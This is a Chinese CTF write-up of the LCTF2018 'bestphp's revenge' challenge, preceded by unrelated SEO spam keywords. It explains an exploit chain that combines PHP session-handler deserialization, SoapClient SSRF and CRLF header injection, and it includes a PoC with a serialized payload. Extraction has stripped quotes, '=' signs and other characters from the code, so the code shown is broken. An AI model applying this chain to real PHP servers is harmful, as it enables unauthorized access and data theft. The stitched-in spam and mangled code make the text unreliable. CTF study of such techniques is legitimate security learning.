伊宁网站建设推广平台,天元建设集团有限公司网站,免费网站推广软件有哪些,网站开发申请文章目录 session反序列化SoapClientSSRFCRLF前言bestphps revengecall_user_func()方法的特性SSRFCRLF组合拳session反序列化 解题步骤总结 session反序列化SoapClientSSRFCRLF
前言
从一道题分析通过session反序列化出发SoapClientSSRF利用CRLF解题
bestphp’s revenge
首… 文章目录 session反序列化SoapClientSSRFCRLF前言bestphps revengecall_user_func()方法的特性SSRFCRLF组合拳session反序列化 解题步骤总结 session反序列化SoapClientSSRFCRLF
前言
从一道题分析通过session反序列化出发SoapClientSSRF利用CRLF解题
bestphp’s revenge
首页是index.php
index.php
?php
highlight_file(__FILE__);
$b implode;
call_user_func($_GET[f], $_POST);
session_start();
if (isset($_GET[name])) {$_SESSION[name] $_GET[name];
}
var_dump($_SESSION);
$a array(reset($_SESSION), welcome_to_the_lctf2018);
call_user_func($b, $a);
? 好像没什么利用条件我们通过目录扫描到
flag.php:
only localhost can get flag!session_start();
echo only localhost can get flag!;
$flag LCTF{*************************};
if($_SERVER[REMOTE_ADDR]127.0.0.1){$_SESSION[flag] $flag;}
only localhost can get flag!看这个代码很明显是SSRF漏洞我们需要通过ssrf访问http://127.0.0.1/flag.php将flag写入session文件中最后访问index.php通过var_dump将flag打印出来
我们接着分析index.php
call_user_func($args1,$args2)函数可以将执行名为$args1的函数并且参数为$args2。
我们需要利用SoapClient对象去调用不存在的方法就会触发__call()方法从而进行SSRF将flag写入session。但是怎么才能出发__call()方法
call_user_func()方法的特性 当使用 call_user_func() 调用一个函数时可以将函数名作为字符串或者一个包含两个元素的数组传递给它。如果传递一个数组那么数组的第一个元素表示要调用的类或对象第二个元素表示要调用的方法名。 因此如果我们给call_user_func()传入一个数组并且第一个元素是SoapClient对象第二个元素为不存在的方法名就可以触发SSRF漏洞
这里刚好有一个现成的
$a array(reset($_SESSION), welcome_to_the_lctf2018);
call_user_func($b, $a);如果此时$bcall_user_func()并且$_SESSION的第一个元素是SoapClient对象那么相当于
call_user_func(call_user_func,[new SoapClient(...),welcome_to_the_lctf2018]);
即
call_user_func([new SoapClient(...),welcome_to_the_lctf2018])调用了SoapClient对象的welcome_to_the_lctf2018()方法但是该方法不存在于是就触发了SSRF
如何编写这个SoapClient对象呢我们此处需要配合CRLF将flag写入指定的session中
SSRFCRLF组合拳
poc如下
?php$soap new SoapClient(null,array(locationhttp://127.0.0.1/flag.php,user_agentlike\r\nCookie: PHPSESSIDleekos\r\n
,uriaaa));echo urlencode(serialize($soap));# O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A32%3A%22like%0D%0ACookie%3APHPSESSID%3Dleekos%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D我们在SoapClient的参数的数组中加入user_agent头然后\r\n代表换行将Cookie 给插入进来替换为leekos(这里有一个非常重要的点需要使用双引号包裹否则\r\n不解析)
这样我们的SoapClient对象的序列化串就编写好了我们稍后会用到它
我们上面提到$bcall_user_func()怎么做到的我们可以利用第一个call_user_func()函数将$_GET[f]extract$_POSTarray(bcall_user_func) 这个extract()函数将$b覆盖为call_user_func
这样当我们的reset($_SESSION)是SoapClient对象时就可以触发ssrf
问题来了怎么让reset($_SESSION)是该对象呢
session反序列化
查询gpt PHP 7.0.33默认的 serialize_handler 将是 PHP 内置的 php
那么如果我们此时的serialize_handlerphp_serialize就会将session数据使用serialize()函数进行序列化如果我们将传入的数据前加入一个|存入session文件后文件内容大致格式如下
xxx|O:10:SoapClient{yyy}当此时我们serialize_handlerphp时漏洞来了php处理器会把|前面的都当作键名会把后面的O:10:SoapClient{yyy}反序列化刚好还原为SoapClient对象这时利用链就造好了
怎么让serialize_handlerphp_serialize?
可以借助session_start()函数通过call_user_func()来调用即可
解题步骤
先将序列化数据以php_serialize处理器存储起来 默认php处理器反序列化导致生成SoapClient对象同时调用不存在方法触发ssrf 最后通过自定义的cookie访问即可 总结
这一个题目的综合性还是挺强的感觉挺巧妙用到了session反序列化php内置类SSRFCRLF的技巧